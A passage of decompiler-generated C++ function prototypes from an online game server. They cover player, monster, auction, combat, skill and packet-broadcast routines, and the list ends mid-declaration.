ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_GOOD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_REGISTER_GOOD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_REGISTER_CANCEL_GOOD_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_REGISTER_CANCEL_GOOD_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_BOX_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_MY_STORAGE_BOX_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_MY_STORAGE_ITEM_DETAIL_INFO_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_MY_STORAGE_ITEM_DETAIL_INFO_SUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_AUCTION_DB_MY_STORAGE_ITEM_DETAIL_INFO_FAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_AUCTION_STORAGE_BOX_WITHDRAW_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall GameDBSession::gds_NC_AUCTION_DB_STORAGE_BOX_WITHDRAW_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); char __thiscall ORToken::operator__(ORToken *this, ORToken *nm); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall SubLayer::SubLayerInteractLoader::slil_Interact(SubLayer::SubLayerInteractLoader *this, SubLayer::Layer *my, SubLayer::Layer *another); unsigned int __thiscall AllOfRangeArgument::operator unsigned_long(AllOfRangeArgument *this); void __thiscall AxialListIterator::AxialListIterator(AxialListIterator *this); void __thiscall AxialListNearGateFind::_AxialListNearGateFind(AxialListNearGateFind *this); char __thiscall InventoryLocking::InventoryCellLock::icl_IsLocked(AxialListIterator *this, #593 *, #593 *, unsigned int); char __thiscall AxialListMobCounter::ali_Work(AxialListMobCounter *this, #593 *, #593 *, unsigned int); char __thiscall AxialListMobCounter::ala_SearchMob(AxialListMobCounter *this, #593 *, #593 *); char __thiscall AxialListMobCounter::ala_SearchAll(AxialListMobCounter *this, #593 *, #593 *); char __thiscall AxialListMobCounter::ala_SearchPly(AxialListMobCounter *this, #593 *, #593 *); char __thiscall AxialListMobCounter::ala_SearchGld(AxialListMobCounter *this, #593 *, #593 *); char __thiscall AxialListMobFind::ali_Work(AxialListMobFind *this, #593 *, #593 *, unsigned int); void __thiscall AxialListBossFind::AxialListBossFind(AxialListBossFind *this); // void __thiscall AxialListWall::AxialListWall(AxialListWall *this, const char *message); char __thiscall AxialListWall::ali_Work(AxialListWall *this, #593 *, #593 *, unsigned int); void __thiscall AxialListShowID::AxialListShowID(AxialListShowID *this, NETCOMMAND *nc); // void __thiscall AxialListCount::AxialListCount(AxialListCount *this); char __thiscall AxialListCount::ali_Work(AxialListCount *this, #593 *, #593 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ali_Work(AxialListMobInAreaCounter *this, #593 *, #593 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ala_InArea(AxialListMobInAreaCounter *this, #593 *Mob); void __thiscall AxialListProtocolSend::AxialListProtocolSend(AxialListProtocolSend *this, int department, int command); char __thiscall AxialListProtocolSend::ali_Work(AxialListProtocolSend *this, #593 *, #593 *, unsigned int); void __thiscall AxialListPkTypeProtocolSend::AxialListPkTypeProtocolSend(AxialListPkTypeProtocolSend *this, FieldType pkState); char __thiscall AxialListPkTypeProtocolSend::ali_Work(AxialListPkTypeProtocolSend *this, #593 *, #593 *, unsigned int); void __thiscall AxialListMobKillLog::AxialListMobKillLog(AxialListMobKillLog *this, int department, int command, unsigned __int16 nMobID); void __thiscall AxialListNearGateFind::AxialListNearGateFind(AxialListNearGateFind *this); __int16 __thiscall AxialListNearGateFind::alngf_Gethandle(int this); void __thiscall AxialListPacketBroadcast::AxialListPacketBroadcast(AxialListPacketBroadcast *this, ProtocolPacket *pack, int packlen); void __thiscall AxialListPacketBroadcast::_AxialListPacketBroadcast(AxialListPacketBroadcast *this); char __thiscall AxialListPacketBroadcast::ali_Work(AxialListPacketBroadcast *this, #593 *, #593 *, unsigned int); void __thiscall AxialListPacketBroadcastByGuild::AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this, ProtocolPacket *pack, int packlen, unsigned int GRegNum); void __thiscall AxialListPacketBroadcastByGuild::_AxialListPacketBroadcastByGuild(AxialListPacketBroadcastByGuild *this); char __thiscall AxialListPacketBroadcastByGuild::ali_Work(AxialListPacketBroadcastByGuild *this, #593 *, #593 *, unsigned int); void __thiscall AxialListPacketBroadcast4ItemPickUp::AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this, ProtocolPacket *pack, int packlen); void __thiscall AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp(AxialListPacketBroadcast4ItemPickUp *this); char __thiscall AxialListPacketBroadcast4ItemPickUp::ali_Work(AxialListPacketBroadcast4ItemPickUp *this, #593 *, #593 *, unsigned int); char __thiscall AxialListBossFind::ali_Work(AxialListBossFind *this, #593 *, #593 *, unsigned int); char __thiscall AxialListShowID::ali_Work(AxialListShowID *this, #593 *, #593 *, unsigned int); char __thiscall AxialListMobInAreaCounter::ala_SearchMob(AxialListMobInAreaCounter *this, #593 *, #593 *); char __thiscall AxialListMobInAreaCounter::ala_SearchAll(AxialListMobInAreaCounter *this, #593 *, #593 *); char __thiscall AxialListMobInAreaCounter::ala_SearchPly(AxialListMobInAreaCounter *this, #593 *, #593 *); char __thiscall AxialListMobInAreaCounter::ala_SearchGld(AxialListMobInAreaCounter *this, #593 *, #593 *); char __thiscall AxialListMobKillLog::ali_Work(AxialListMobKillLog *this, #593 *, #593 *, unsigned int); char __thiscall AxialListNearGateFind::ali_Work(AxialListNearGateFind *this, #593 *, #593 *, unsigned int); void __thiscall Name8::operator_(Name8 *this, const char *nm); void __thiscall ItemActionArgument::ItemActionArgument(ItemActionArgument *this); ShineCommonParameter::ShineParameter *__thiscall ShineCommonParameter::operator_>(ShineCommonParameter *this); char __thiscall FieldMap::fm_IsItemDropField(int this, int a2); void __thiscall BriefInfoBackup::bib_Restore(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape); void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set(ShineObjectClass::ShinePlayer::TimeScheduler *this, ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *fnc)(#734 *this), ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType defaultreturn, ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork work, int millisec); char __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack(ShineObjectClass::ShinePlayer::TimeScheduler *this); char __cdecl sp_CalcChaoticLevel(unsigned int ChaoticPoint); void __thiscall TargetObject::to_Reset(TargetObject *this); #593 *__thiscall TargetObject::to_GetTargetObject(TargetObject *this); void __thiscall EngageArgument::EngageArgument(EngageArgument *this, #593 *, #593 *, SkillDataBox::SkillDataIndex *, SKILL_EMPOWER *, SHINE_XY_TYPE *, long double); void __thiscall AxialListTargetInform::_AxialListTargetInform(AxialListTargetInform *this); int __thiscall ShineObjectClass::ShineMob::so_GetTargetObject(int this); char __thiscall ShineObjectClass::ShineMob::so_Mob_SetSendTagetInfo(int this, char bSend); bool __thiscall ShineObjectClass::ShinePlayer::so_IsTarget(int this); bool __thiscall ShineObjectClass::ShineMob::so_IsTarget(int this); int __thiscall ShineObjectClass::ShinePlayer::EraseGoodBuff(_DWORD, _DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineObject::so_Dispel(#593 *this, #593 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, unsigned int); bool __thiscall ShineObjectClass::ShineObject::so_ply_Script_CostumeCreate(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]); char __thiscall ShineObjectClass::ShineObject::so_SkillEnchant(#593 *this, #593 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, char *, char); SHINE_PUT_ON_BELONGED_ITEM __thiscall ShineObjectClass::ShineObject::so_mh_PortalOpen(ItemAttributeClass *this, ItemTotalInformation *iti); unsigned int __thiscall CharClass::ProfessionWC(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue); void __thiscall ShineObjectClass::ShineServant::so_GetExperienceFromMob(ShineObjectClass::ShineServant *this, int expgain, unsigned __int16 mobid, unsigned __int16 mobhandle); void __thiscall ShineObjectClass::ShineMob::smo_BashStop(int this); int __stdcall ShineObjectClass::ShineObject::so_Bash(int engarg, int resthp, int abstate, int absstrength, int absrate, int aggroclear); void __thiscall ShineObjectClass::ShineMobileObject::smo_AttackedDamage(#593 *, int, EngageArgument *); int __thiscall ShineObjectClass::ShineMob::so_mobile_IsImmortal(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetNaturalEnemy(int this, int NewNaturalEnemy); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetNaturalEnemy(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_IsEthereal(void *this); char __thiscall ShineObjectClass::ShineObject::so_IsHealDamageType(void *this, int pSkillInfo); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak __int16 __thiscall ShineObjectClass::ShinePlayer::smo_ply_GetMultiHitSequance(int this); unsigned int __thiscall std::vector>::size(std::vector > *this); bool __thiscall std::vector>::empty(std::vector > *this); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_PrevElement(List *this, unsigned __int16 handle, unsigned __int16 *newhandle); char __thiscall AxialListTargetInform::ali_Work(AxialListTargetInform *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Broadcast2ndTarget(#593 *, int); int __thiscall ShineObjectClass::ShinePlayer::so_GetTargetObject(int this); void __thiscall TargetObject::to_SendInform(TargetObject *this, #734 *ply); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ(void *this, int netcmd, int len, __int16 handle); #593 *__thiscall TargetObject::to_ValidTarget(TargetObject *this, unsigned __int16 target); int __thiscall ShineObjectClass::ShineMobileObject::so_skillsmash(#593 *, SmashArgument *); int __thiscall ShineObjectClass::ShinePlayer::so_skillsmash(#593 *, SmashArgument *); char __thiscall ShineObjectClass::ShineMobileObject::so_Dispel(#593 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, unsigned int); char __thiscall ShineObjectClass::ShineMobileObject::so_SkillCure(#593 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *); int __thiscall ShineObjectClass::ShineMobileObject::so_smash(void *this, int engarg); int __thiscall ShineObjectClass::ShinePlayer::so_smash(void *this, int engarg); int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#593 *, int); int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#593 *, int, int); int __thiscall ShineObjectClass::ShineMob::so_attack(#593 *, int); void __thiscall ShineObjectClass::ShineMob::so_recoverhp(void *this, int hp); void __thiscall ShineObjectClass::ShineMob::so_recoversp(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_recoverhp(void *this, int hp); void __thiscall ShineObjectClass::ShinePlayer::so_recoversp(void *this, int a2); void __thiscall ShineObjectClass::ShineObject::so_DamagedBy(#593 *this, #593 *, int, int, char); void __thiscall ShineObjectClass::ShinePlayer::so_DamagedBy(#593 *, int, int, char); void __thiscall ShineObjectClass::ShineMob::so_DamagedBy(#593 *, int, int, char); void __thiscall ShineObjectClass::ShineMob::so_mob_ViewAggroList(void *this, int a2); void __thiscall ShineObjectClass::ShineMob::so_mob_DecreaseAggro(#593 *, int); void __thiscall ShineObjectClass::ShineMob::so_mob_AppendAggro(#593 *, int); void __thiscall ShineObjectClass::ShineServant::so_mob_AppendAggro(ShineObjectClass::ShineServant *this, #593 *, int); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_NextSaveExperience(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GainExp(void *this, int expgain, __int16 questmobid, __int16 mobid); void __thiscall ShineObjectClass::ShinePlayer::so_GainFame(void *this, int famegain); unsigned int __stdcall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(__int64 prevexp, __int64 nextexp, int fa); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField(void *this, __int64 prevexp, __int64 nextexp, int fa); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledAndImChaotic(void *this, __int64 prevexp, __int64 nextexp, int fa); // int __userpurge ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled(int a1, int a2, int func, int (__thiscall *a4)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD(void *this, int netcmd, int len, __int16 handle); void __cdecl ShineObjectClass::ShineMobileObject::smo_BashStop(); void __thiscall ShineObjectClass::ShinePlayer::smo_BashStop(void *this); // int __userpurge ShineObjectClass::ShineMobileObject::so_Bash(void *a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear); // int __userpurge ShineObjectClass::ShinePlayer::so_Bash(int a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy(void *this, int a2); void __thiscall ShineObjectClass::ShineMobileObject::smo_SwingStart(void *this, int a2); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_mobile_IsImmortal(void *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsInGuildWar(void *this); signed int __thiscall ShineObjectClass::ShineMobileObject::smo_HitNotRevision(void *this); signed int __cdecl ShineObjectClass::ShineMobileObject::smo_ply_NormalAttackFactor(); signed int __thiscall ShineObjectClass::ShinePlayer::smo_ply_NormalAttackFactor(void *this); int __cdecl ShineObjectClass::ShineObject::so_mob_GetTopAggroTarget(); int __thiscall ShineObjectClass::ShineMob::so_mob_GetTopAggroTarget(void *this); void __thiscall TargetObject::to_Set(TargetObject *this, unsigned __int16 target, #593 *targetobject, #734 *ply); int __thiscall ShineObjectClass::ShineMob::so_mobile_IsEnemy(_DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineServant::so_mobile_IsEnemy(ShineObjectClass::ShineServant *this, #593 *obj); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD(void *this, int netcmd, int len, __int16 handle); void __cdecl std::_Uninit_fill_n>(AbnormalStateContainer::AbstateElementInObject *_First, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Ptr, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall std::vector>::_Xlen(std::vector > *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, AbnormalStateContainer::AbstateElementInObject _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateContainer::AbstateElementInObject *_Val); char __thiscall ShineObjectClass::ShineMobileObject::so_SkillEnchant(#593 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, char *, char); void __thiscall ShineObjectClass::ShineMobileObject::so_KilledBy(#593 *, int, int, unsigned int); void __thiscall ShineObjectClass::ShineMob::so_KilledBy(#593 *, int, int, unsigned int); char __thiscall ShineObjectClass::ShineMobileObject::smo_SwingDamage(#593 *, ABSTATEINDEX, int, int, int); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall ShineObjectClass::ShinePlayer::so_KilledBy(#593 *, int, int, unsigned int); char __thiscall ShineObjectClass::ShineMob::smo_SwingDamage(#593 *, ABSTATEINDEX, int, int, int); void __thiscall SpyNet::EspionageAgent::ea_SRT_GETHEAL(SpyNet::EspionageAgent *this, #593 *, int, int); int __thiscall ShineObjectClass::ShineMobileObject::smo_SetMovePacket(int this, __int16 command, int packet); void __thiscall MultiHitArgument::MultiHitArgument(MultiHitArgument *this); void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this); void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this, unsigned __int16 attacker, unsigned __int16 defender); void __thiscall BattleObjectGroup::BattleObject::BattleObject(BattleObjectGroup::BattleObject *this); void __thiscall BattleObjectGroup::BattleObject::_BattleObject(BattleObjectGroup::BattleObject *this); char __thiscall ShineObjectClass::ShineObject::so_mobile_ICanDamageTo(AbnormalStateContainer::SubAbnormalStateActor *this, AbnormalStateContainer::AbstateElementInObject *pInObject, #593 *pTarget); unsigned __int16 __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall SkillEffectApply::SkillBlastEffect::SkillBlastEffect(SkillEffectApply::SkillBlastEffect *this); void __thiscall AxialListTargetChange::_AxialListTargetChange(AxialListTargetChange *this); unsigned int __thiscall std::vector>::size(std::vector > *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); char __thiscall List::l_PopA(List *this, BattleObjectGroup::BattleObject *ele); char __thiscall List::l_PopZ(List *this, BattleObjectGroup::BattleObject *ele); void __cdecl std::fill(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Val); void __cdecl std::fill(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_opt(std::vector >::iterator _First, std::vector >::iterator _Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_backward_opt(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall MultiHitArgument::mha_SetAbState(MultiHitArgument *this, int sub, char *statename, int rate, int strength); void __thiscall BattleObjectGroup::BattleObjectList::_BattleObjectList(BattleObjectGroup::BattleObjectList *this); void __thiscall BattleObjectGroup::BattleObjectList::bol_Store(BattleObjectGroup::BattleObjectList *this, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int hittime); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo(#593 *, char *); char __thiscall ShineObjectClass::ShineServant::so_mobile_ICanDamageTo(ShineObjectClass::ShineServant *this, #593 *, char *); char __thiscall ShineObjectClass::ShineMob::so_mobile_ICanDamageTo(#593 *, char *); bool __thiscall ShineObjectClass::ShineMobileObject::smo_ICanHealTo(void *this, int a2); char __thiscall ShineObjectClass::ShinePlayer::smo_ICanHealTo(void *this, int a2); char __thiscall ShineObjectClass::ShineServant::smo_ICanHealTo(ShineObjectClass::ShineServant *this, #593 *target); bool __thiscall ShineObjectClass::ShineMob::smo_ICanHealTo(void *this, int a2); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck(SkillEffectApply::SkillBlastEffectContainer *this); int __stdcall ShineObjectClass::ShineMobileObject::smo_SkillBlastTick(int sklidx); int __stdcall ShineObjectClass::ShinePlayer::smo_SkillBlastTick(int sklidx); int __thiscall ShineObjectClass::ShineMob::smo_SkillBlastTick(void *this, int sklidx); char __stdcall ShineObjectClass::ShineMobileObject::smo_ply_MoveAfterCast(int castendtick); bool __thiscall ShineObjectClass::ShinePlayer::smo_ply_MoveAfterCast(void *this, unsigned int castendtick); char __thiscall AxialListTargetChange::ali_Work(AxialListTargetChange *this, #593 *, #593 *, unsigned int); void __thiscall ShineObjectClass::ShineObject::so_EscapeFromTarget(void *this); char __thiscall List::l_PushA(List *this, BattleObjectGroup::BattleObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, BattleObjectGroup::BattleObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy_backward(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest); std::vector >::iterator *__cdecl std::find>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, SkillEffectApply::SkillBlastEffect *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SkillEffectApply::SkillBlastEffect *_Val); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange(void *pObj); char __thiscall ShineObjectClass::ShinePlayer::so_mobile_ICanDamageTo(#593 *, char *); void __thiscall ShineObjectClass::ShinePlayer::sp_ChineCastCut(void *this); void __cdecl std::_Uninit_fill_n>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); DamageBySoul::SoulDamateElement *__thiscall DamageBySoul::SoulDamageContainer::operator__(DamageBySoul::SoulDamageContainer *this, unsigned __int16 index); void __thiscall SkillEffectApply::SkillDamageSender::sds_Finish(SkillEffectApply::SkillDamageSender *this, SkillEffectApply::SkillBlastEffect *skill); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__thiscall std::vector>::_Ufill(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall BattleObjectGroup::BattleObjectList::BattleObjectList(BattleObjectGroup::BattleObjectList *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall SkillEffectApply::SkillEffectEraser::_SkillEffectEraser(SkillEffectApply::SkillEffectEraser *this); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_SkillCancel(SkillEffectApply::SkillBlastEffectContainer *this, #615 *caster); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L184167(int a1); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L184371(int a1); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SkillEffectApply::SkillBlastEffect _Val); void __thiscall SkillEffectApply::SkillDamageSender::SkillDamageSender(SkillEffectApply::SkillDamageSender *this); void __thiscall SkillEffectApply::SkillDamageSender::sds_Initialize(SkillEffectApply::SkillDamageSender *this); void __thiscall SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall std::vector>::push_back(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Store(SkillEffectApply::SkillBlastEffectContainer *this, unsigned __int16 index, SkillDataBox::SkillDataIndex *sklidx, #615 *caster, #593 *targetobject, SHINE_XY_TYPE *targetlocate, int lastdamage, unsigned __int16 nSetEffectForJustSkill, SHINE_XY_TYPE *pShotLocation, char nLightningWaveCnt); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall BitSet::BitSet(BitSet *this, int maxbit); void __thiscall BitSet::bs_clear(BitSet *this); int __thiscall Name3::operator__(Name3 *this, Name3 *nm); bool __cdecl BlockDistribute::BlockingDistribute::bd_Inactiv(BlockDistribute::BlockingDistribute *bd); char __thiscall BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(BlockDistribute::BlockingDistribute *this, SHINE_XY_TYPE *xy); void __thiscall BlockDistribute::BlockingDistribute::_BlockingDistribute(BlockDistribute::BlockingDistribute *this); void __thiscall BlockDistribute::BlockDistributeManager::BlockDistributeManager(BlockDistribute::BlockDistributeManager *this); void __thiscall BlockDistribute::BlockDistributeManager::_BlockDistributeManager(BlockDistribute::BlockDistributeManager *this); void __thiscall std::_List_nod>::_Node::__Node(std::_List_nod >::_Node *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, BlockDistribute::BlockingDistribute *_Val); void __thiscall std::list>::clear(std::list > *this); void __thiscall std::list>::remove_if(std::list > *this, bool (__cdecl *_Pred)(BlockDistribute::BlockingDistribute *)); void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count); void __thiscall BlockDistribute::BlockingDistributeList::BlockingDistributeList(BlockDistribute::BlockingDistributeList *this); void __thiscall BlockDistribute::BlockingDistributeList::_BlockingDistributeList(BlockDistribute::BlockingDistributeList *this); BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockingDistributeList::bdl_New(BlockDistribute::BlockingDistributeList *this); void __thiscall BlockDistribute::BlockingDistribute::bd_Initialize(BlockDistribute::BlockingDistribute *this, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right); BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockDistributeManager::bdm_Find(BlockDistribute::BlockDistributeManager *this, Name3 *mapid, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right); int __thiscall Name8::operator__(Name8 *this, Name8 *nm); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset(PROTO_NC_CHAR_WEDDINGDATA_ACK *this); void __thiscall BattleStat::bs_Clear(BattleStat *this); void __thiscall MobAttackSequence::AttackElement4Mob::AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this); void __thiscall MobAttackSequence::AttackElement4Mob::_AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this); void __thiscall ItemLotInspector::ili_Reset(ItemLotInspector *this); void __thiscall ItemBoxIterItem::ItemBoxIterItem(ItemBoxIterItem *this, ItemBag *ib, 